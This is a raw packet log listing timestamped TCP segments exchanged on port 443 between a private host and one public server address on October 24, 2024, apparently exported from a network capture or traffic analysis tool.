Oct 24, 2024 08:52:56.742042065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.742162943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.742224932 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.742238045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.744324923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.744386911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.744410038 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.746876955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.746968031 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.746987104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.747010946 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.747061968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.749433041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.751707077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.751774073 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.751799107 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.754292965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.754354954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.754370928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.754467010 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.754523993 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.754529953 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.756876945 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.756943941 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.756957054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.759569883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.759637117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.759666920 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.761603117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.761668921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.761720896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.761841059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.761902094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.761917114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.764220953 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.764287949 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.764303923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766544104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766608953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.766637087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766658068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766701937 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.766752005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766921043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.766983986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.767011881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.768915892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.768975019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.768992901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.785784006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.785861969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.785871983 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786025047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786071062 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786077023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786192894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786286116 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786290884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786375046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786443949 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786448956 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786542892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786597013 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786602020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786711931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786767960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786772966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786880970 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.786931038 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.786936045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787062883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787118912 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.787126064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787652016 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787714958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.787719965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787827969 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787885904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.787890911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.787997007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.788054943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.788058996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.788187027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.788237095 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.788242102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.806750059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.806778908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.806864023 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.806886911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.806900024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.806962967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.818675995 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.818700075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.818799019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.818829060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.818862915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.830516100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.830549002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.830581903 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.830595016 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.830604076 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.830630064 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.843888044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.843913078 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.843972921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.844006062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.844096899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.855789900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.855819941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.855896950 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.855921030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.855945110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.865081072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.865109921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.865130901 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.865144014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.865155935 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.875479937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.875509024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.875538111 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.875546932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.875556946 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.882713079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.882747889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.882786036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.882792950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.882802010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.902081013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.902105093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.902157068 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.902170897 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.902179956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.902223110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.903644085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.903665066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.903698921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.903703928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.903712988 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.903745890 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.922272921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.922301054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.922435045 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.922460079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.922538042 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.928409100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.928431988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.928522110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.928530931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.928587914 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.940143108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.940175056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.940285921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.940300941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.940385103 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.954452038 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.954482079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.954544067 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.954574108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.954585075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.971343040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.971379042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.971482038 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.971509933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.971540928 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.973453045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.973474979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.973526001 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.973534107 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.973545074 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.985878944 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.985908985 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.985974073 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.985996008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.986006975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.995810986 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.995835066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.995906115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.995944023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.995958090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.000672102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.000699997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.000730991 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.000745058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.000775099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.018105030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.018130064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.018178940 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.018204927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.018218040 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.018228054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.019510984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.019535065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.019560099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.019587994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.019608021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.019608021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.038212061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.038244009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.038290024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.038317919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.038331032 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.038331985 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.047137022 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.047162056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.047347069 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.047373056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.047389984 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.056197882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.056263924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.056274891 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.056298971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.056315899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.071486950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.071530104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.071595907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.071621895 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.071645975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.082901955 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.087358952 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.087394953 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.087435007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.087456942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.087469101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.088187933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.088216066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.088237047 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.088248014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.088259935 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.096976995 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.097002029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.097050905 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.097071886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.097098112 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.109174013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.109214067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.109267950 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.109294891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.109307051 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.114530087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.114554882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.114701033 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.114710093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.114759922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.134679079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.134716034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.134798050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.134798050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.134798050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.134865046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.135368109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.135396004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.135430098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.135452986 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.135478020 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.144746065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.144774914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.144823074 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.144831896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.144840002 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.155602932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.155698061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.155814886 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.155814886 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.155833006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.167257071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.167287111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.167459011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.167459011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.167484999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.179073095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.179100990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.179275036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.179275036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.179275036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.179296970 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.189826965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.189908028 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.190141916 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.190141916 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.190160990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.204313040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.204349995 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.204515934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.204515934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.204515934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.204545021 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.206211090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.206235886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.206269026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.206286907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.206302881 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.206302881 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.218852043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.218893051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.218931913 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.218951941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.218961000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.218961954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.228312016 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.228341103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.228408098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.228408098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.228480101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.228545904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.231446981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.231473923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.231508970 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.231530905 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.231555939 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.231555939 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.250741005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.250762939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.250984907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.250998020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.251024008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.252100945 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.252125025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.252160072 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.252166033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.252175093 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.259502888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.259533882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.259569883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.259579897 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.259588003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.276019096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.276046991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.276101112 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.276109934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.276118040 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:57.281857967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.281888008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:57.281919003 CEST	49167	443	192.168.2.22	142.250.186.97
